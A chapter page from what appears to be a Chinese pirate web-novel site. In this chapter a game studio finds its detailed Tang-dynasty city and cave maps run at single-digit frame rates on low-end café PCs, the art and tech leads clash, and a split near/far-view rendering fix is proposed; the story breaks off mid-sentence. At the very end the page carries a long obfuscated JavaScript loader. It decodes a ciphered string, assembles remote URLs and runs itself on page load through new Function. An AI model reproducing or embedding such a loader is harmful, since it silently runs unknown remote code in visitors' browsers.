首页
[切换至繁体版]
返回

第2225章 画面崩塌与连夜重构

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    第2225章画面崩塌与连夜重构(第1/2页)
    周璟把那块硬盘放在梁永琪办公桌上的时候,动作比平时轻了不少。
    他自己没意识到这个变化,但梁永琪注意到了。
    平时周璟放东西都是随手一搁,硬盘磕在桌面上发出闷响,有时候还会滑出去半寸,他得伸手再扶正。
    但今天他把硬盘搁下来的那一瞬间,手腕是微微弓着的,指腹先接触到桌面,然后硬盘的底部才慢慢落下,整个过程几乎没有声音。
    硬盘是银灰色的金属外壳,那种磨砂质感的表面沾了一点他手心的汗渍,在办公室顶灯底下能看出来一个浅浅的指纹印。
    边角有一道撞过的凹痕,大概是从哪台机器上拆下来的时候磕到机箱边缘了,凹进去的那一小块地方露出了底下的金属色,跟周围灰蒙蒙的磨砂面一比显得亮一些。
    周璟说这硬盘是从美术组的机器上取下来的,拔线的时候忘了先关电源,直接一把就把数据线拽出来了,线头拔出来的时候硬盘的指示灯还在那儿一闪一闪地亮,蓝白色的光在银灰色外壳上跳了两下才彻底灭掉。
    “第一版完整地图渲染,”周璟说这话的时候嗓门比平时大了一点,好像在给自己壮胆似的,但说完这一句他又把音量压回来了,“长安城主城区、大雁塔外景、水帘洞内部,三张图全跑了一遍。
    今天下午刚出的包。”他说完把两只手从口袋里抽出来,在裤腿上蹭了一下,大概是想擦掉手心那点汗,然后又把手指交叉着搭在身前,指关节微微发白。
    梁永琪没急着说话。
    她伸手把硬盘接过来,指尖碰到那道凹痕的时候停顿了一下,仔细看了一眼那个位置,确认没有伤到接口附近才把它连上自己那台机器的数据线。
    她打开文件夹的时候看到里面有六个文件,三个是预览图,三个是源文件包。
    她点了第一个预览文件,就是长安城那张图。
    屏幕亮起来的时候,长安城的街道从一片灰白色慢慢过渡到完整的彩色画面,这个过程持续了大概两三秒,像一张底片在水里逐渐显出影像。
    青灰色的石板路面沿着中轴线往远处铺开,每一块石板的纹理都画得很细,石板缝里还填了深褐色的线条,模拟泥土嵌在砖缝里的样子。
    路面两旁的建筑全是木质结构,那些柱子、横梁、斗拱的造型是按照那本唐代建筑图录上的线描稿一笔一笔描出来的,屋瓦的色块从深灰到墨绿之间做了三层渐变,靠屋顶上端的那一层颜色最深,往下逐渐变浅,到了屋檐边缘又加深了一度,呈现出那种旧瓦片被雨水反复浸过之后才会有的色泽变化。
    街道尽头的城门在画面上方形成一道剪影,城门洞开着的那个口子里的光晕是暖黄色的,不是那种生硬的亮白色,而是像真实的日光穿过城门洞照进来的那种柔和的黄,带着一点尘埃漂浮在光线里的质感。
    梁永琪盯着这个画面看了大约十秒钟,目光从街面的石板移到两旁的建筑檐角,再从檐角顺着城墙的轮廓移到城门洞里那片暖光上。
    她没有说话,只是把眼睛眯起来了一点,像在分辨什么很细微的东西。
    然后她双击了第二个文件,切到了大雁塔那张图。
    大雁塔的塔身从下到上逐层收窄,每一层之间的比例关系压得很准,塔身上那些砖砌的条纹用的是小尺寸的纹理贴图反复拼接出来的,拼接的痕迹几乎看不出来。
    每一层的檐角底下都挂了风铃,风铃是用像素点阵的方式画出来的,单个风铃只有六七个像素点那么大,但排列得很整齐,远看像一排浅金色的碎屑贴在深灰色的塔壁上。
    塔身底部的基座周围画了一圈矮墙,矮墙上开了几个小门洞,门洞里的光线处理跟长安城那张图用的是同一个手法,都是暖黄色的内透光,看着特别真实。
    梁永琪看完大雁塔那张图之后说了一句:“画面做得非常漂亮。”她这话说得不算大声,语调也平,但周璟听完之后肩膀明显松了一下,原本交叉着搭在身前的手指也分开了,垂在身体两侧。
    梁永琪接着点开了第三个文件,水帘洞那张图。
    水帘洞的瀑布是用流动的蓝白色色块拼成的,从画面上方倾泻下来,水流的路径不是笔直的,中途会撞上突出的岩石然后分成几股各自往下坠。
    水花溅落到岩壁上的位置用半透明的浅蓝色做了三层叠加,最底下那层颜色最深,中间那层淡一些,最上面那层几乎是透明的,只保留了一点点蓝色的调子。
    三层叠在一起之后从远处看真的有水帘落下来的视觉连贯感,那种水幕连续不断的流动效果让梁永琪盯着看了好一会儿。
    “漂亮是漂亮,”周璟站在旁边说,两只手重新插回牛仔裤的口袋里了,肩膀又稍微提起来了一点,“但这个尺寸的贴图密度,跑不动。”他说这话的时候下巴朝屏幕的方向抬了一下,像是在示意梁永琪看电脑右下角那个帧数显示。
    梁永琪顺着他的示意看过去。
    画面静止的时候帧数稳定在二十五帧左右,这个数字在她看过的所有测试数据里不算高,但对于这种精度的地图来说已经是很不错的成绩了。
    她按了一下键盘上的方向键,让画面开始往左边平移。
    街道两旁的建筑开始缓缓滑过屏幕边缘,石板的纹理跟着移动,就在画面动起来的那一瞬间,帧数从二十五跳到了十八,又从十八跳到了十一,最后稳定在了个位数上。
    画面卡成了一张一张跳动的静帧,前一帧里城门还在屏幕中央,下一帧里城门已经跳到了屏幕右侧,中间缺少的那一段过渡影像让整个平移过程看起来像在翻一本翻得很快的连环画。
    梁永琪松开了方向键,帧数回升了一些,回到了十四五帧的位置,但只要她再次按下按键让角色开始移动,那个数字就像被什么东西拽着往下坠,一口气跌到七八帧,然后就再也爬不上来了。
    “跑测试的机器是什么配置?”梁永琪把键盘往前推了一点,侧过脸问周璟。
    “市面上一台普通的网吧机。”周璟说,“奔腾处理器、六十四兆内存,显卡是市面上最通用的那种型号。
    我在电脑城问了一圈,目前国内网吧里铺得最广的就是这个配置。
    我在那台机器上跑完长安城的地图之后又抱回咱们那台高配测试机上试了一遍,高配机能跑到三十帧左右,画面流畅得很,怎么转视角都不卡。”他说到这停了一下,咽了口唾沫,“但咱们的用户,百分之八十以上用的都是低配机。
    我让市场组那边帮我翻了一下后台数据,注册用户的硬件配置统计表上写得清清楚楚,奔腾处理器的占比接近七成,内存六十四兆以下的占了一半多。
    咱们要是按高配机的标准来做,那些用户装上之后根本跑不动,卡成幻灯片,到时候差评能把论坛淹了。”
    梁永琪靠进椅背里,眼睛还停在屏幕上那帧定格的画面。
    长安城的城门在画面静止的状态下依然保持着完整的细节,每一块城砖的纹理都清晰可见,那些砖缝里的阴影、砖面上的细小裂纹、风化造成的边缘圆角,全都一笔一划地画出来了。
    但那是因为画面不动了。
    一旦动起来,那些细节就变成了导致卡顿的冗余信息,每一帧画面都在拼命渲染那些不会被玩家仔细看的东西,结果就是什么都渲染不出来,画面卡在原地像死机了一样。
    (本章未完,请点击下一页继续阅读)第2225章画面崩塌与连夜重构(第2/2页)
    “版本发布先叫停。”梁永琪伸手把硬盘从接口上拔下来,银灰色的金属外壳在她掌心里凉凉的,那道凹痕正好抵在她中指关节的位置上,硌得有点疼。
    她换了个握法把硬盘托在手心里,“你回去列一个清单,把每一张地图里的美术资源按占比排序,最高的前十个资源列出来。
    技术组那边也列一份清单,标注哪些渲染环节的占用最高。
    两组清单放一起看,数据说话。”
    周璟点了点头,从口袋里摸出一支圆珠笔在手掌上写了两个字当作备忘录,然后推门出去了。
    他走路的速度比平时快,门关上之后走廊里传来他小跑着回美术组那头的脚步声。
    周璟走了之后梁永琪在办公室里坐了一会儿,两只手搭在椅子扶手上,视线落在屏幕上一个固定的点上但没有聚焦。
    她盘算了一下目前的进度,整个项目的时间表排得很紧,地图渲染这块是重头戏,如果卡在这里后面所有的环节都得往后推。
    过了大概两三分钟,她拿起座机拨了技术组的号码。
    接电话的是李轩,话筒里传过来的背景音里有好几副键盘同时敲击的嗒嗒声,还有谁在隔间里喊了一句“编译过了”然后又没声了。
    李轩的声音听起来比平时闷一些,像嘴里含着什么东西,梁永琪猜他大概又在吃那种硬糖,他一忙起来就爱含着糖,说是能提神。
    “李轩,周璟那边的地图渲染包你看了吗?”
    “看了。”李轩说,含混的那层声音稍微清了一点,大概是把他那颗糖换到腮帮子那边去了,“低配机上帧数只有七八帧,根本没法用。
    我刚才在自己机器上跑了一遍,我的机器比低配机高一档,也就跑到十二帧,稍微动一动视角就掉到个位数了。”
    “你的意见?”
    “降贴图精度。”李轩说,语速比平时快了不少,像这些话在他脑子里已经转过好几轮了,今天终于有人问他他就一口气全倒出来,“建筑纹理从二百五十六乘二百五十六降到一百二十八乘一百二十八,角色模型的网格面数砍掉三分之一,远景的山和树直接砍掉一半的绘制距离,这样帧数至少能提到十五帧以上,画面损失在可接受范围内。
    玩家玩的时候注意力都在角色和近处的建筑上,远处的细节本来就没人仔细看,砍掉之后不影响核心体验。”
    “你跟周璟说了?”
    “说了。”李轩的声音里多了一点无奈,“上午我跟他在茶水间碰上了,我就提了一句这个方案,他马上就把脸拉下来了。
    他说降贴图精度就是毁他的画,他说他画了大半个月的瓦片纹理,每一片瓦的颜色渐变都是对着唐代建筑彩画研究的资料书调的,那些灰绿过渡的色值他调了七八遍才定下来,砍成一百二十八乘一百二十八之后像素点一压缩那个渐变就没了,变成一块一块的色斑,跟马赛克一样。
    他说要是按我的方案来,长安城那个屋顶远看就跟一块脏抹布铺在那儿似的。”李轩说到这叹了口气,“我跟他争了几句,他说我不懂美术细节对沉浸感的重要性,我说他不懂低配机用户跑不动地图的后果有多严重。
    我俩谁都没说服谁,就这么僵着呢。”
    梁永琪的手指在桌面上叩了两下,清脆的嗒嗒声在安静的办公室里听着格外清楚。
    “你们两边先别争了。
    等我明天给回复。
    你今天晚上把那份渲染环节的占用清单整理出来,发我邮箱。”
    她挂了电话之后把椅子转了个方向,面对着窗户坐了一会儿。
    窗外的天灰蒙蒙的,看不太清远处的轮廓。
    她没盯着窗外看太久,很快就转回来,把硬盘收进抽屉里,收拾了一下桌面上的文件,拎起包出了办公室。
    那天晚上她回到陈园的时候天已经暗了。
    她上楼推开书房的门,陈浩正坐在书桌前翻一本新买的资料书,书脊上印着“中国古代建筑彩画研究”几个字,书页翻开的那一面上印着一整页的瓦当图案拓片。
    他听见门响抬起头看了她一眼,把书签夹进当前那一页合上了书,往椅背上一靠,等着她说话。
    梁永琪把包放在门边的矮柜上,走过去在他旁边的椅子里坐下,把白天那个僵局从头到尾讲了一遍。
    她讲的时候用手比划了几下,讲到周璟的瓦片纹理的时候她用手指在空中画了一个方框代表一片瓦,讲到李轩要砍面数的时候她做了个往下切的手势。
    她讲了大概十几分钟,把周璟的精细画面、李轩要降精度砍面数的要求、两个人卡在中间谁都不肯退的场面都说清楚了。
    陈浩听完了没有马上接话。
    他把书合上放在桌角,转身面朝她,两只胳膊肘撑在膝盖上,身体微微前倾。
    “让美术把远景和近景分开渲染。”他开口了,声音不急不缓,“远景用静态贴图,不需要实时刷新,玩家角色走过去了那片背景也不会跟着动。
    近景保持现在的精度,玩家周围的建筑、地面、NPC保持现有的纹理密度。
    玩家走动的时候,他视线焦点所在的那块区域是近景,画面的边缘和远处是远景。
    远景不动,近景动,视觉差会骗过眼睛,让他以为整张图都在动,实际上动的那部分只有屏幕中央那一块区域。
    这跟人眼看东西是一个道理,你盯着一个东西看的时候周
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();